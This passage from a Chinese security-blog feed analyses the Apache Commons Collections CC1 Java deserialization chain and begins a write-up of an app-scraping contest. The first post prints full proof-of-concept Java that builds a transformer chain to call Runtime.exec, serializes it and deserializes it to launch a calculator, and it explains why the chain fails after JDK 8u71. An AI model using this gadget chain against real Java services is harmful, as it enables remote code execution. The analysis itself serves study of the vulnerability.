!important;word-break: inherit !important;">(Object proxy, Method method, Object[] args)</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throws</span> Throwable</span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>        System.out.print(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;attempt call &#34;</span>+method.getName());<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span>(method.getName().equals(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;print&#34;</span>))<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>        {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.ob.put();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> (Object)<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> testFace <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">getOb</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">()</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>    </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.ob;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">InvocationHandler接口是一个调用处理器的接口，如何相对指定对象进行代理，通过实现这个接口定义invoke接口，然后创建一个代理后，所有对指定对象的调用都会首先调用invoke方法。<br/>完整代码如下：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.5592592592592592" src="https://wechat2rss.xlab.app/img-proxy/?k=7c114242&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkJbNnjpoxC9lbSQnIJwdOhiceq5GuGRZrybw8GbFIqibSMicJBniaTe7Y3Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图11</figcaption></figure><br/>可以看到，我们只是调用了print方法，但是最终却调用了put方法。这就是因为在invoke方法中做的处理。<p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><br/></p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">完整CC1利用链</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">为了方便调试，参考cc1链在本地写了一份，代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(String[] args)</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throws</span> Exception<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>    </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>        Transformer[] transformers = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Transformer[]{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ConstantTransformer(Runtime.class),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getMethod&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{String.class,Class[].class},<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getRuntime&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;invoke&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{Object.class,Object[].class},<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;exec&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{String.class},<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;calc&#34;</span>}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>        };<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>        Transformer transformerChain = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>                ChainedTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Transformer[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ConstantTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>)});<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>        Map innerMap = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HashMap();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>        Map outerMap = LazyMap.decorate(innerMap,transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>        Class cls = Class.forName(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;sun.reflect.annotation.AnnotationInvocationHandler&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>        Constructor construction = cls.getDeclaredConstructor(Class.class,Map.class);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>        construction.setAccessible(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">true</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>        Object nob = construction.newInstance(Retention.class,outerMap);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>        Object handler = Proxy.newProxyInstance(Map.class.getClassLoader(),<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{Map.class},(InvocationHandler) nob);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>        Object fob = construction.newInstance(Retention.class,handler);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>        Class Chained = Class.forName(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;org.apache.commons.collections.functors.ChainedTransformer&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>        Field fd =  Chained.getDeclaredField(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;iTransformers&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span>        fd.setAccessible(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">true</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>        fd.set(transformerChain,transformers);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">27</span>        ByteOutputStream bo = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ByteOutputStream();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">28</span>        ObjectOutputStream op = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ObjectOutputStream(bo);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">29</span>        op.writeObject(fob);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">30</span>        System.out.println(bo);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">31</span>        ObjectInputStream or = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ObjectInputStream(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ByteInputStream(bo.getBytes(),bo.size()));<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">32</span>        Object readOb = or.readObject();<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">运行代码，会发现弹出了计算器。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">jdk8u71之后为什么不行</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">不管是P牛的思路还是真正的CC1链，在jdk8u71之后都无法使用，至于为什么可以看下图新老版本对比，左边为老版本右边为新版本：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.31574074074074077" src="https://wechat2rss.xlab.app/img-proxy/?k=ded14381&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhk6oDibKGibXtKYfGupRQ5AFpo59VegibKxEUzvWDMACkwv1pjx78aX5b8Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图12</figcaption></figure><br/>可以看到在新版jdk中，反序列化不再通过defaultReadObject方式，而是通过readFields 来获取几个特定的属性，这两种方式有什么区别呢，经过我自己多次调试发现defaultReadObject 可以恢复对象本身的类属性，比如this.memberValues 就能恢复成我们原本设置的恶意类，但通过readFields方式，this.memberValues 就为null，所以后续执行get()就必然没发触发，这也就是高版本不能使用的原因，网上大多会说是因为取消了SetValue导致不能触发，但其实不然，思路一确实是因为这个原因，但CC1和取消setValue没有半毛钱关系。<p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><br/></p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x03总结</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">整篇文章总体思路是跟着P牛的文章思路来的，只不过因为基础薄弱很多地方都详细分析了一遍。分析完之后感慨大佬是怎么从那么多的代码中找到这样一条可以利用的调用链的，真的很巧妙。</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x04参考</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">[1]代码审计星球 JAVA安全漫谈9 10 11<br/>[2]<a href="https://www.cnblogs.com/9eek/p/15050035.html" target="_blank">https://www.cnblogs.com/9eek/p/15050035.html</a></p></section><p><br/></p>



<p><a href="2247486273">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c9b4644b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486273%26idx%3D1%26sn%3D4288cdf46d46387862719537a95bea4e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 08 Jul 2022 08:22:00 +0800</pubDate>
    </item>
    <item>
      <title>记一次APP爬虫比赛</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486245&amp;idx=1&amp;sn=df2a80d7a9a1af682bd56c23eaec95be</link>
      <description>记录了一次APP爬虫比赛的过程，只把简单的题做了。</description>
      <content:encoded><![CDATA[<p>
原创 <span>浮萍</span> <span>2022-07-07 08:30</span> <span style="display: inline-block;">中国</span>
</p>

<p>记录了一次APP爬虫比赛的过程，只把简单的题做了。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=29acc7d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdmhbpxGdkXGfhTVopT42oDCPnQDIwWKudgFvTFM1zN6BQX4IMVxTx6g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;"><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x01 前言</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">5月中旬的时候，猿人学举行了一个APP爬虫大赛，共设10题，主要涉及Android反混淆，双向认证，tls指纹对抗等技术。而且只需要答对一题就有参与奖，即可获得一件猿人学定制T恤。另外第一题不涉及so，仅涉及java层加密。为了T恤，立马去报了名参赛。</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x02答题</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">比赛开始的时候，想着下载完APP，然后冲完第一题就完事，但结果发现APP安装都成问题。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.13178294573643412" title="图1" data-w="1290" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=5d39b9dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdKjRJwYNAFA48SesVSSQfGicxnAic9bZicrBPQADzRdDQK7v4hMZ3pK5RA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图1</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看规则才知道，参赛的APP只支持arm64架构的手机，我的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Nexus 5</code>根本不支持。还好身边有一个marry大佬尊贵的荣耀8，成功安装了APP。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="1.6691542288557213" title="图2" data-w="804" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=09a99c83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZd7mFMMuEZ3TdrIiblic9zdLcSmg6JIVodzjMcPbPCARsvu3luVzn6DPjA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图2</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 